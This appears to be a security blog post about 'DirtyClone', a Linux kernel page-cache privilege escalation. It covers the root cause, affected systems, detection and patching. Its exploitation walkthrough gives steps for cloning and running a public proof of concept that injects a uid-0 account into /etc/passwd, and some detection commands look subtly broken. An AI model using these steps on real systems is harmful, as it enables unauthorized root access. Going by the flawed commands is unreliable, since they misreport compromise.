DirtyClone (CVE-2026-43503) — The Silent Linux LPE That Writes Root Into Memory, Not Disk + Video

Listen to this Post

Featured Image

Introduction

A newly discovered Local Privilege Escalation (LPE) vulnerability in the Linux kernel, tracked as CVE-2026-43503 and dubbed “DirtyClone,” allows any unprivileged local user to gain root access by manipulating the Linux page cache. What makes this flaw particularly dangerous is its stealth: the attack writes directly into memory-backed page cache, never touching the disk, leaving no kernel logs or audit traces, and bypassing common on-disk integrity monitoring tools. The vulnerability stems from a flaw in socket buffer (sk_buff) processing where a cloned packet loses the `SKBFL_SHARED_FRAG` flag, enabling ESP in-place decryption to write into file-backed page-cache memory.

Learning Objectives

  • Understand the root cause of CVE-2026-43503 and how the `SKBFL_SHARED_FRAG` flag failure enables privilege escalation
  • Learn to identify vulnerable Linux kernel versions and distributions
  • Master the step-by-step exploitation technique using the public PoC
  • Implement effective detection, mitigation, and patching strategies
  • Apply Linux and network security commands to assess and harden vulnerable systems

1. Understanding the DirtyClone Vulnerability

The DirtyClone vulnerability resides in the Linux kernel’s network stack, specifically in how socket buffers (sk_buff) handle fragmented data. Two frag-transfer helpers — `__pskb_copy_fclone()` and `skb_shift()` — fail to propagate the `SKBFL_SHARED_FRAG` bit in `skb_shinfo()->flags` when moving fragments from source to destination. As a result, the destination `skb` keeps a reference to page-cache-backed pages while reporting `skb_has_shared_frag()` as false.

This mismatch becomes exploitable when ESP (Encapsulating Security Payload) in-place decryption uses `skb_has_shared_frag()` to decide whether shared pages must be detoured through skb_cow_data(). With the marker stripped, ESP writes decrypted data directly into the page cache of a root-owned read-only file. The PoC exploits this by patching `/etc/passwd` in cache to inject a uid-0 account, granting a root shell — all without ever modifying the disk.

CVSS Score: 8.8 (HIGH) — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

2. Identifying Vulnerable Systems

Affected Kernels and Distributions

Any kernel lacking the complete chain of fixes for the DirtyFrag vulnerability family is at risk. This includes:

  • Systems unpatched for the original flaws (CVE-2026-43284 and CVE-2026-43500)
  • Mainline, stable, or LTS kernel branches that applied initial mitigations but lack subsequent follow-up patches (CVE-2026-46300 and CVE-2026-43503)
  • Confirmed vulnerable distributions: Debian, Ubuntu, and Fedora

Checking Your Kernel Version

Linux Command:

uname -r
 Example output: 6.8.0-45-generic

Check for the fix commit:

 The fix was merged in mainline via commit 48f6a5356a33 (v7.1-rc5)
 Check if your kernel includes this commit
zgrep "48f6a5356a33" /proc/config.gz 2>/dev/null || echo "Fix not found"

For Debian/Ubuntu:

apt-cache policy linux-image-$(uname -r)
 Check against security tracker: https://security-tracker.debian.org/tracker/CVE-2026-43503

For RHEL/Fedora:

rpm -q kernel
 Check against: https://bugzilla.redhat.com/show_bug.cgi?id=2480902

Who Is Exploitable

Any local user who holds or can acquire the `CAP_NET_ADMIN` capability — frequently obtainable via unprivileged user namespaces. This poses the highest risk to:

  • Multi-tenant cloud environments
  • Kubernetes clusters
  • Containerized workloads where user namespaces are enabled or privileged containers are deployed

3. Exploitation Walkthrough — DirtyClone PoC in Action

A public Proof of Concept (PoC) is now available on GitHub. The following steps demonstrate how an unprivileged user can escalate to root.

Prerequisites

  • Unpatched Linux kernel
  • Unprivileged user namespaces enabled
  • Python 3 + `libcrypto` + `iproute2` + `iptables` installed on the target

Step-by-Step Exploitation

Step 1: Clone the PoC repository

git clone https://github.com/mooder1/dirtyclone-CVE-2026-43503.git
cd dirtyclone-CVE-2026-43503

Step 2: Verify current user privileges

id
 uid=1000(user) gid=1000(user) groups=1000(user)

Step 3: Run the exploit

python3 CVE-2026-43503.py

Expected output:

[] uid=1000 -> root
[+] injected uid 0 account 'firefart' (password: pwned)
uid=0(root) gid=0(root) groups=0(root)
[+] root achieved

Step 4: Verify root access

whoami
 root
cat /etc/passwd | grep firefart
 firefart:pwned:0:0:root:/root:/bin/bash

Step 5: Clean up (if you created the account)

 Remove the injected account
userdel -f firefart

What Happens Under the Hood

The exploit works by:

  1. Creating a cloned `sk_buff` that loses the `SKBFL_SHARED_FRAG` flag
  2. Triggering ESP in-place decryption that writes into the page cache
  3. Patching `/etc/passwd` in memory (cache) — not on disk
  4. The kernel reads the modified cache version, granting root access to the injected user

Key insight: The disk is never modified, so fsck, tripwire, AIDE, and other integrity monitors see no changes.

4. Detection and Forensic Analysis

Detecting a DirtyClone Compromise

Since the attack leaves no kernel logs or audit traces, detection requires memory forensics and proactive monitoring.

Check for unusual entries in `/etc/passwd` (in memory):

 Compare in-memory passwd with on-disk version
cat /etc/passwd | grep -v "^" | sort > /tmp/passwd_mem
cat /proc/self/root/etc/passwd | grep -v "^" | sort > /tmp/passwd_disk
diff /tmp/passwd_mem /tmp/passwd_disk

Check for unauthorized uid-0 accounts:

awk -F: '$3 == 0 {print $1}' /etc/passwd
 Only 'root' should appear

Monitor for suspicious `CAP_NET_ADMIN` usage:

 Check processes with CAP_NET_ADMIN
capsh --print | grep -i net_admin
 Monitor audit logs for capability usage (if auditd is running)
ausearch -m capability -ts recent

Page cache inspection (advanced):

 Check if /etc/passwd is in page cache
vmtouch /etc/passwd
 vmtouch is a tool for examining page cache contents

Network Traffic Analysis

The exploit requires a single `nft ‘dup to ‘` rule or any `nf_dup_ipv4()` / `xt_TEE` caller to land a pskb_copy()‘d `skb` in esp_input(). Monitor for:

 Check for suspicious nftables rules
nft list ruleset | grep -i dup

Check for iptables TEE rules
iptables -t mangle -L -v -1 | grep TEE
ip6tables -t mangle -L -v -1 | grep TEE

5. Mitigation and Hardening

Immediate Patching

The only complete fix is to update the Linux kernel to the fixed version.

  • Mainline fix: v7.1-rc5 (commit 48f6a5356a33)
  • Patch merge: May 21, 2026 (commit 9e171fc1d7d7)

Ubuntu/Debian:

sudo apt update
sudo apt upgrade linux-image-$(uname -r)
sudo reboot

RHEL/Fedora/CentOS:

sudo dnf update kernel
sudo reboot

After reboot, verify:

uname -r
 Ensure version is >= the fixed version

Workarounds (If Patching Is Not Immediately Possible)

Option 1: Block CAP_NET_ADMIN acquisition

 Disable unprivileged user namespaces (prevents CAP_NET_ADMIN acquisition)
echo 0 > /proc/sys/user/max_user_namespaces
 To make permanent:
echo "user.max_user_namespaces=0" >> /etc/sysctl.conf
sysctl -p

Option 2: Restrict nftables/iptables TEE and dup rules

 Block non-root users from modifying nftables/iptables
 Use sudoers to restrict: only allow specific users
 Or use SELinux/AppArmor policies

Option 3: Apply the backported patch — Check with your distribution’s security team for backported kernel patches addressing CVE-2026-43503.

Kernel Hardening Checklist

 1. Disable unprivileged user namespaces (if not required)
sysctl user.max_user_namespaces

<ol>
<li>Restrict CAP_NET_ADMIN
Check which processes have this capability
for pid in $(pgrep -u root); do
capsh --print --pid=$pid 2>/dev/null | grep -q net_admin && echo "PID $pid has CAP_NET_ADMIN"
done</p></li>
<li><p>Enable kernel auditing
auditctl -a always,exit -F arch=b64 -S capset -k capset
auditctl -a always,exit -F arch=b32 -S capset -k capset</p></li>
<li><p>Monitor /etc/passwd modifications
auditctl -w /etc/passwd -p wa -k passwd_changes</p></li>
<li><p>Review audit logs
ausearch -k passwd_changes
ausearch -k capset

6. Advanced Analysis — The DirtyFrag Vulnerability Family

CVE-2026-43503 is part of a broader vulnerability family known as “DirtyFrag”. Understanding the lineage helps in assessing risk:

| CVE | Description | Status |

|–|-|–|

| CVE-2026-43284 | Original DirtyFrag | Patched (2026-05-05) |
| CVE-2026-43500 | Related LPE variant | Patched |
| CVE-2026-43503 | DirtyClone (this vulnerability) | Patched (2026-05-21) |
| CVE-2026-46300 | Additional bypass variant | Patched |

Key takeaway: A system is only fully protected against this exploitation model once the entire series of patches is applied.

Root Cause Analysis

The vulnerability exists because:

1. `__pskb_copy_fclone()` defers shinfo metadata to skb_copy_header(), which only carries over `gso_{size,segs,type}` and never touches `skb_shinfo()->flags`
2. `skb_shift()` moves frag descriptors directly and leaves flags untouched
3. The same omission exists in skb_gro_receive(), skb_gro_receive_list(), tcp_clone_payload(), and `skb_segment()`

This creates a class of vulnerabilities affecting multiple `skb` processing paths, demonstrating that the underlying attack primitive is not limited to a single vulnerable code path.

7. Cloud and Container-Specific Considerations

Kubernetes Environments

Kubernetes clusters are particularly at risk because:

  • User namespaces are often enabled for container isolation
  • Containers frequently run with `CAP_NET_ADMIN` for network plugins
  • Multi-tenant clusters provide local user access

Hardening Kubernetes:

 Pod Security Standards - restrict capabilities
apiVersion: v1
kind: Pod
spec:
containers:
- name: app
securityContext:
capabilities:
drop:
- ALL
 Only add explicitly required capabilities
add: []

Check cluster nodes for the vulnerability:

 For each node, check kernel version
kubectl get nodes -o wide
 SSH into each node and run uname -r

Cloud Workloads

Cloud providers running vulnerable kernels expose all tenants to risk. Any local user on a shared infrastructure can potentially escalate privileges.

AWS/EC2 example:

 Check AMI kernel version
uname -r
 Compare against Amazon Linux security bulletins
 Update via: sudo yum update kernel

What Undercode Say

  • Memory-based attacks are the new frontier — DirtyClone demonstrates that integrity monitoring must extend beyond disk-based checks to include memory forensics and page cache analysis. Traditional tools like Tripwire and AIDE are blind to this class of attack.
  • The patch chain is critical — A system is only secure when the complete series of patches is applied. Partial mitigation creates a false sense of security, as attackers can bypass individual fixes.
  • Unprivileged user namespaces are a double-edged sword — While enabling containerization and sandboxing, they also provide attackers a reliable path to acquire CAP_NET_ADMIN, the key capability needed for this exploit.
  • Cloud and container environments are ground zero — Multi-tenant architectures amplify the risk, as a single compromised container or user can lead to host-level root access.
  • The DirtyFrag family isn’t done yet — The pattern of `skb` flag mismatches suggests more variants may emerge. Security teams should audit all `skb` processing paths for similar flag propagation issues.

Prediction

-1 Expect widespread scanning and automated exploitation attempts within 48–72 hours of PoC publication. The exploit is simple, reliable, and leaves no forensic footprint, making it highly attractive for both red teams and malicious actors.

-1 Organizations running unpatched kernels in shared environments face imminent risk. Cloud providers will rush to patch, but the fragmentation of LTS kernel branches means many systems will remain vulnerable for weeks.

+1 The disclosure and rapid patching of DirtyClone (patch merged within days of reporting) demonstrates the effectiveness of coordinated vulnerability disclosure and the Linux kernel security team’s responsiveness.

-1 Security teams will need to rethink their detection strategies. File integrity monitoring (FIM) is now insufficient; memory integrity monitoring and page cache analysis must become standard practices.

+1 The DirtyClone research has already spurred broader audits of `skb` processing paths, leading to the discovery and patching of additional variants (CVE-2026-46300) before they could be exploited in the wild.

-1 Containerized workloads in Kubernetes clusters face the highest risk profile. Organizations that cannot immediately patch should consider disabling unprivileged user namespaces or implementing strict capability dropping policies as a compensating control.

+1 The vulnerability has driven increased adoption of eBPF-based runtime security monitoring, which can detect anomalous page cache modifications and `CAP_NET_ADMIN` abuse in real-time.

-1 Expect this vulnerability to be weaponized in supply chain attacks, where attackers gain initial low-privilege access and then escalate to root using DirtyClone, pivoting to compromise the entire infrastructure.

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: Ruben Groenewoud – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky